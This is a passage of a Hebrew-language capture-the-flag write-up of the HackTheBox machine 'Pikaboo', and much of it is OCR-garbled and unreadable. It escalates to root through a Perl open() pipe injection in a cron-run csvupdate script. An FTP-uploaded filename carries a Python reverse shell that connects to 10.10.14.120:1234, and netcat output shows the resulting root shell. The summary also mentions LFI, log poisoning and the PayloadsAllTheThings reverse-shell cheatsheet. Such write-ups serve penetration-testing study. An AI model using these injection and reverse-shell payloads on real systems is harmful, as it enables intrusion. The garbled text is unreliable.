root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )

- X K K Fe————

3 U BN e e e o H

™
*
*
*
*

* root /usr/local/bin/csvupdate cron

:csvupdate_cron YaIzn NX NN91 !|"ayn root 'T* 72y n'"w 73 csvupdate_cron Yalpn y1 crontab 197

www-data@pikaboo:/$ cat /usr/local/bin/csvupdate cron
cat /usr/local/bin/csvupdate cron
#!/bin/bash

for d in /srv/ftp/*

do
cd $d
/usr/local/bin/csvupdate $(basename $d) *csv
/usr/bin/rm -rf *

done

yx¥anl ,csv NNI‘o Dy D' wonni Lftp-2 nirg'mn 72 7y Navw uIwo bash VOSMPO P NTY IR
-D reverse shell NI¥'7 AT 117w N'D100 NNVNNI root-D YO csvupdate-w 117 VIT' .csvupdate NX 1'7Y

..NX719"IN WIT'R NIYYY 10X 27 ,root
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N7 csvupdate yalzn NNEL()NXR U RID D N9 IMIN 9'0IR X7 IKX) perl nowa yaip XIn csvupdate
Y217 7Y 75N01 I TX )27 NIRWAN 117 'R D N7 N0

/usr/local/bin/csvupdate

.(root) 17w VORLIIPA TIP NXIN A'wN7 17 NNY 17 DNA7 7210 (ITX'D1) DRI AWIY RID AN Fan? No1)
MWD ny'oIm perl yaipza ITy? 21'w Inwn MNyN AT NN T NKRYE,0YN X7 MYS'n Nt A7)

XN

${csv_dir}/${type}

, ) or die

D'YIY NN P00 RY) 1NN 1Y NIYYYT T csv YAl NINdY *TD open N71¥91 D'WNNWN DT YUja
2N N2TN 'MIXYN VINVI'RA D'YI9'N VYA K7 NR L (1M7Y

https://stackoverflow.com/questions/26614348/perl-open-injection-prevention

1?7007 InTIRod yaipn v ow'? nonrtnn perl ,'|' N2 7'NNN yaipn YW DWUN TWKRD 1D DW 0M10N

NANPDN "MNX ,N'9'Y¥50) open N'Nj719N Iy perl 7Y DNINIPITN DR |N2) DX ,© ono .79

A1y AT A% '2an'7 YWOKN L, ("Opening a filehandle into a command"
"If MODE is |-, then the filename is interpreted as a command to which output is to be piped, and
if MODE is -, the filename is interpreted as a command that pipes output to us. In the two-

argument (and one-argument) form, one should replace dash (-) with the command.”
YaI7n 7w handle-7 2wnw? n7w 0790 NRIENTIRD 72777 noxn perl ,nTh Njna

72w open-2 WIN'WN 7Y RNPY Dd7 y'Nn X ,RYUINN 7Y RPN IR 2'NNY7 D'Myn DNR DR
:N2N WL IPC v

https://perldoc.perl.org/perlipc#Using-open%28%29-for-IPC

N7V1 .0TIpNN IR¥AY pwnmeow WNNWNN DY ftp-7 1anmna 0 21y97 2011 "0 yTn niapya P

(: 2"2an NDO - VIYD NND .INIX Y csvupdate TXI .reverse shell NXI'N NTIRS 7w DA yalp oWy
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https://stackoverflow.com/questions/26614348/perl-open-injection-prevention
https://perldoc.perl.org/functions/open
https://perldoc.perl.org/functions/open
https://perldoc.perl.org/functions/open
https://perldoc.perl.org/functions/open
https://perldoc.perl.org/functions/open
https://perldoc.perl.org/functions/open
https://perldoc.perl.org/functions/open
https://perldoc.perl.org/functions/open
https://perldoc.perl.org/functions/open
https://perldoc.perl.org/functions/open
https://perldoc.perl.org/functions/open
https://perldoc.perl.org/functions/open
https://perldoc.perl.org/functions/open
https://perldoc.perl.org/functions/open
https://perldoc.perl.org/functions/open
https://perldoc.perl.org/functions/open
https://perldoc.perl.org/functions/open
https://perldoc.perl.org/functions/open
https://perldoc.perl.org/functions/open
https://perldoc.perl.org/functions/open
https://perldoc.perl.org/functions/open
https://perldoc.perl.org/perlipc#Using-open%28%29-for-IPC
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:pwnmeow WnNNwnNn oy ftp-7 1anm

® ~/Downloads
10.10.10.249
Connected to 10.10.10.249.
220 (vsFTPd 3.0.3)
Name (10.10.10.249:root): pwnmeow
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.

:ftp-7 21ayn? v pa yaip Nixn

® ~/Downloads

' file

:reverse shell 17 XMW NTIR9Y 17w DWN '1'W DY ftp-7 INIX 1'2AVN7 AT NWVIY NN NI

https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Re

sources/Reverse%20Shell%20Cheatsheet.md#python

12N 17 NIX'Y python-2 V970 1IX¥N

Y27 1 YN csvupdate-n 3 .csv Mo 0179 VMIBROYT MY NK MW ftp-7 727 yaIpd INIK 0110

.CSsv

ftp> cd versions

250 Directory successfully changed.

ftp> put

(local-file) file

(remote-file) "|python3 -c 'import os,pty,socket;s=socket.socket();s.connect(("\"10.10.14.120\"",1234));

[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn("\"sh\"")"';. csv"

local: file remote: |python3 -c 'import os,pty,socket;s=socket.socket();s.connect(("10.10.14.120",1234));
[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn("sh")"';.csv

200 PORT command successful. Consider using PASV.

150 Ok to send data.

226 Transfer complete.

:NIdNNN 2NN DX 7277 721w 1D listener NN9) NT 27wWA
m —~—
C 1234
listening on [any] 1234 :
connect to [10.10.14.120] from (UNKNOWN) [10.10.10.249] 42704

Iroot NINWANA shell N7 W' ,11'7X% "annn Nwn 7Y netcat-n DAl

# id
id

ui=0( root) gid=0(root) groups=0(root)
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https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md#python
https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md#python

Technologic

ni'oY

-0 Y2l DX NI7A7 117 WTYW nginx 7w alias-2 NIy'as oy path traversal oy n7nnn 2117 n'n Nn ™X

.NIDNAN 7V 0¥ KNP 17 3TV QWK LFI DY WTN NN 1'2'21 11907 1DWNnn server-status

1019 1IR¥NI linpeas Dy MidNN NX 710 .(log poisoning) reverse shell A'wn%? 1> LFI-A nunnwn
N7 NIXWINN DX 117200 DN'R WK perl open() injection-1 crontab-7 1112y LDAP-7 ninannn

© npnn 7y root Mwnl

root-n1 .RCE-7 72w LFI-2 'M77nmiv mIwK1 0y9 ,Log Possinig-n 7w 77NN NX 'MANX TINA N'Y'N

.N1IdNN |7YJI,U'7 01'N7 wnn 71X N'NY N2'ONN NYR T NN

NIMYD N7 X 7 ATTN X'NY YN X D'WTNE D2'yNn DNAT NIdNNN "M ']3'7 1ayn

JNANNN MDA NN ‘DN 70 .00VY'RA YIS'NNI

D77 ONI' IX DMIT DNANK W' O tryhackme-n 7'NNn%7 nTn a10nn o'-ctf ANk M7 y'mn mrin

.(hackthebox-7 TIa1a) o't oy Dai

D'Y'AN NNX X7 72X ,770 AR D700 RN ,N0IWD X7 NIdN NQITAY Y7 Y7 a1wn 9010
NIYY7? DN 'R DTV NI DTIRONI NTIR9Y IN D'0909NY IX J'WNN? 'R |'KY NXIAI DINO '1An?

© nN'TRZ DD'YNNI n'TI? o'y N780 DT

"9y nxyp

[Ty ,17 A, N

JITRY NIYRA D7 W' OX .0NANK 221N, T'NY2 N1 POYNN7 Nilpnl pentesting-nN DINN NX 2NIX
(NPT NA'02 D'VOIS DY) 2172 7NN IR 12 ,MY INRA YYR 11D NNIYY7 D07 X2 DNO IR 9'0IN7 DNAT
:NN9N IRY TIR 'R DI

https://sites.google.com/view/roykoren
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https://tryhackme.com/
https://sites.google.com/view/roykoren

